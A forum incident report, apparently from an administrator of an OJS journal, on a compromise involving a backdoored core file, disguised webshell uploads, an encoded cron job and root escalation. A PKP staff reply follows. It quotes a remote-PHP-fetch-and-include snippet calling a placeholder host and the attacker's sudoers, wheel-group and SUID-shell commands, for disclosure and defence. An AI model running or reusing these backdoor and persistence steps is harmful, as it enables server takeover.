PKP Security Incident Report

This post was prepared with the assistance of ChatGPT. ChatGPT was also instrumental in identifying the malicious OJS files and the exploit/backdoor during our investigation, which ultimately allowed us to locate and remove the compromised components.

Hello everyone,

I would like to share some findings from a recent security investigation involving one of our OJS installations, which I will refer to as Journal 1 throughout this post.

I am intentionally not including the journal name, domain, IP addresses, usernames, filesystem paths or other identifying information.

Apologies in advance for the length of this post, but I wanted to document the incident in enough technical detail to ask the PKP community whether these behaviors correspond to any known OJS vulnerabilities or previously observed attack patterns.

1. Environment

The affected installation was running OJS 3.5.0.x on a server using:

  • CloudLinux

  • cPanel

  • LiteSpeed Enterprise

  • CageFS

Following the incident, we rebuilt Journal 1 using a clean OJS package and upgraded it to OJS 3.5.0-5.

The journal is currently functioning normally.


2. Modified OJS core file

During the investigation, we discovered a modified PHP file inside the OJS application:

controllers/grid/submissions/ExportPublishedSubmissionsListGridCellProvider.inc.php

The file was not part of a clean OJS installation.

It contained a hidden GET parameter which, when triggered, caused the application to retrieve PHP code from an external location, save it into the server’s temporary directory and execute it.

The basic behavior was approximately:

$url = "https://external-source.example/payload.txt";

$temp = sys_get_temp_dir() . "/" . uniqid() . ".php";

$content = file_get_contents($url);

file_put_contents($temp, $content);

include $temp;

The temporary PHP file was subsequently deleted.

This effectively provided a remote PHP code execution mechanism.

We replaced the compromised file with a clean copy from the OJS package.


3. Malicious files uploaded through a submission

We also discovered suspicious files associated with a submission in Journal 1.

A newly created OJS user account had submitted a legitimate image together with several files using unusual extensions.

Some of the files had extensions resembling:

.ShTmL
.ShTMl
.txt
.shTmL

Although these files were not necessarily identified as PHP based solely on their extensions or MIME types, their contents contained PHP/webshell code.

The activity occurred very shortly after the account was created and validated.

This raised the possibility that the OJS submission/file-upload functionality had been abused to upload executable content.

The affected submission and its associated database records were subsequently removed after taking a database backup.


4. Additional files in the OJS files directory

We also found several PHP-like files inside the OJS files storage area.

One of these files contained PHP code that retrieved another PHP payload from an external GitHub location and executed the retrieved content.

There were also several files with unusual names and extensions apparently intended to disguise PHP code as other file types.

These files were removed.

As part of the cleanup, we moved the OJS files_dir outside the web root.

We then checked the directory for executable/script extensions and found no remaining PHP/PHTML/PHAR/PHT/CGI/PL/PY/SH files.


5. Temporary PHP webshells

Another significant finding was in the CloudLinux CageFS temporary directory.

We found multiple temporary PHP files following a pattern similar to:

<account-home>/.cagefs/tmp/f_*.php

The contents implemented a webshell interface.

The shell provided authenticated access to server-side functionality and appeared to be related to the remote payload mechanism described above.

This was particularly interesting because the modified OJS PHP file described earlier created temporary PHP files before executing them.

All of the identified temporary webshells were removed.


6. Server-level privilege escalation

The investigation also revealed activity beyond the OJS application itself.

A new Linux user account had been created during the incident.

The account had been configured with mechanisms intended to obtain administrative privileges.

The commands found in the compromised component were functionally equivalent to:

useradd -m -s /bin/bash <user>
passwd <user>
usermod -aG wheel <user>
echo '<user> ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

A SUID copy of /bin/bash was also created in /tmp.

This indicates that the compromise had progressed from application-level execution to an attempt at persistent root-level access.

We locked the account, removed its administrative privileges and removed the SUID shell and related temporary artifacts.

After cleanup, only the legitimate root account remained with UID 0.


7. Possible relationship with the LiteSpeed/cPanel privilege escalation vulnerability

This is one of the areas where we would particularly appreciate feedback from PKP and the community.

The server was running LiteSpeed Enterprise together with the LiteSpeed cPanel integration.

During the investigation, we noticed that the timing of the server-level compromise coincided with the period in which LiteSpeed published security advisories concerning privilege escalation in its cPanel plugin.

Two relevant vulnerabilities are:

  • CVE-2026-48172

  • CVE-2026-54420

LiteSpeed’s advisories describe privilege-escalation scenarios affecting cPanel/CloudLinux environments where an attacker with an existing account-level foothold could potentially obtain root-level execution.

The technical sequence we observed was particularly interesting:

OJS/application-level execution → webshell → server-level execution → root-level privilege escalation → administrative user creation → SUID shell → persistence

We cannot conclusively state that one of these LiteSpeed vulnerabilities was the exact initial entry point for this incident because we do not have sufficient evidence to reconstruct every step of the attack.

However, the timing and behavior are relevant enough that we believe this possibility should be considered.

The official LiteSpeed advisories are:

  • LiteSpeed Security Advisory – CVE-2026-48172

  • LiteSpeed Security Advisory – CVE-2026-54420

The server was subsequently updated/rebuilt and the affected LiteSpeed components were replaced with clean versions.


8. Malicious cron persistence

We also found a malicious cron entry associated with the affected OJS hosting account.

The cron entry contained an encoded shell command and a marker/comment referring to:

Skylight-kernel

The purpose was to decode and execute a shell payload.

We also found a saved copy of the previous cron configuration.

This appeared to be another persistence mechanism.

We removed the active malicious cron entry as well as the old copy.

After cleanup, the affected OJS account had no active user-level cron jobs.

We also searched the system-wide cron directories for references to the relevant indicators.


9. SSH keys

As part of the cleanup, we also removed existing authorized_keys files associated with the affected accounts and root.

We then searched the relevant home directories for remaining SSH authorized keys.

SSH itself was not disabled because it is required for server administration.

Instead, SSH access remains restricted through firewall rules to trusted administrative IP addresses.


10. Rebuilding Journal 1

Rather than continuing to use the compromised OJS application tree, we created a clean installation from a fresh OJS package.

The compromised installation was moved aside.

We restored only the required journal assets, themes and plugins after reviewing them.

The PKP Preservation Network plugin was installed separately from a clean source rather than copying the existing plugin directory from the affected installation.

The journal was then upgraded to:

OJS 3.5.0-5

and is currently functioning normally.


11. Database cleanup

Before removing the affected submission, we created a complete database backup.

The affected submission and its associated database records were subsequently removed.

This included the relevant submission, publication relationships, author relationships, submission files, file records, search objects and the associated compromised OJS user account.


12. Final security checks

After rebuilding the installation, we performed a number of additional checks.

Among the things verified:

  • No unexpected UID 0 users.

  • The temporary Linux account was locked.

  • No administrative/sudo configuration remained for that account.

  • No suspicious SUID files remained in /tmp, /var/tmp or /dev/shm.

  • No remaining SSH authorized_keys files were found in the checked accounts.

  • No remaining temporary f_*.php webshells were found.

  • No active cron jobs remained for the affected OJS account.

  • No remaining files associated with the previously observed persistence mechanism were found.

  • No executable PHP files remained in the OJS files_dir.

  • PHP execution was restricted in public/upload-related directories.

  • LiteSpeed and the relevant server components were updated/reinstalled.

  • Journal 1 was rebuilt using a clean OJS package.


13. Protecting our other journals

This incident also raised an important concern for us because we have other OJS journals hosted in the same environment.

We currently have another journal that was running the OJS 3.5 series, and we immediately upgraded it to OJS 3.5.0-5 as a precaution.

We also have another journal that is still running OJS 3.4.x.

We would therefore particularly appreciate guidance from the PKP team on how we should approach these other installations.

Specifically:

  1. What security checks should we perform on our other OJS installations to make sure there are no existing backdoors, modified core files, malicious plugins or persistence mechanisms?

  2. Should an OJS 3.4.x installation be treated as potentially vulnerable in this situation, and what upgrade path does PKP recommend for an existing OJS 3.4 installation?

  3. Are there specific OJS files, directories, database tables or configuration settings that PKP recommends checking after another journal on the same server has been compromised?

  4. Is there an official PKP security checklist or recommended procedure for auditing an OJS installation after a suspected compromise?

  5. Would PKP recommend reinstalling plugins and themes from clean packages rather than trusting existing plugin/theme directories after an incident like this?

  6. Are there specific restrictions that should be applied to files_dir, submission upload directories, or other OJS storage locations to prevent uploaded content from being executed as PHP?

  7. Would PKP recommend rebuilding the other OJS installations from clean packages rather than simply upgrading them in-place, given that they share the same hosting/server environment?

  8. Are there any additional security recommendations for running multiple OJS installations under the same cPanel/CloudLinux server?

Our main concern is making sure that the compromise of Journal 1 did not leave any persistence or modified files that could affect the other journals.


14. Questions about the initial attack vector

The biggest remaining question for us is how the initial OJS-level access was obtained.

The evidence we found suggests that an attacker was able to reach application-level PHP execution and subsequently use the environment to upload and execute additional code.

We are not yet certain whether the initial entry point was:

  • an OJS vulnerability,

  • a vulnerable plugin,

  • a compromised administrator/editor account,

  • an insecure submission/file-upload workflow,

  • another vulnerable application on the same hosting account,

  • or a combination of multiple issues.

We would particularly appreciate feedback on the following:

  1. Does the modified ExportPublishedSubmissionsListGridCellProvider.inc.php file resemble a known OJS exploitation technique?

  2. Are there known OJS 3.5.0.x vulnerabilities that could allow executable PHP content to be uploaded through submission workflows?

  3. Has PKP observed attacks involving disguised PHP files using extensions such as .ShTmL, .Pht, .PhpXX, .cshtml, etc.?

  4. Has anyone encountered similar payloads being stored in the OJS submission files structure?

  5. Has PKP observed similar temporary PHP webshells being created through OJS application-level exploitation?

  6. Are there additional OJS locations that should specifically be checked for persistence after this type of incident?

  7. Has anyone observed an OJS-level compromise being followed by privilege escalation through the LiteSpeed/cPanel environment described above?

We have already rebuilt the affected installation and removed the known malicious components.

At this point, our main goal is to understand the initial attack vector and, more importantly, to make sure that our other OJS installations are properly protected.

Any recommendations from the PKP team or other OJS administrators would be greatly appreciated.

Thank you in advance, and again, apologies for the very long post. We wanted to document the incident thoroughly enough that the information could potentially help other OJS administrators identify and prevent similar attacks.

Hi @Maximus,

As part of the cleanup, we moved the OJS files_dir outside the web root.

This is doubtlessly the attack vector. It’s critical that the files_dir be kept outside the web root, or protected from direct access via .htaccess or a similar mechanism. This is noted in the installation form, configuration file, and various documentation.

Regards,
Alec Smecher
Public Knowledge Project Team

public_user_dir_size = 0
Use the Publisher library instead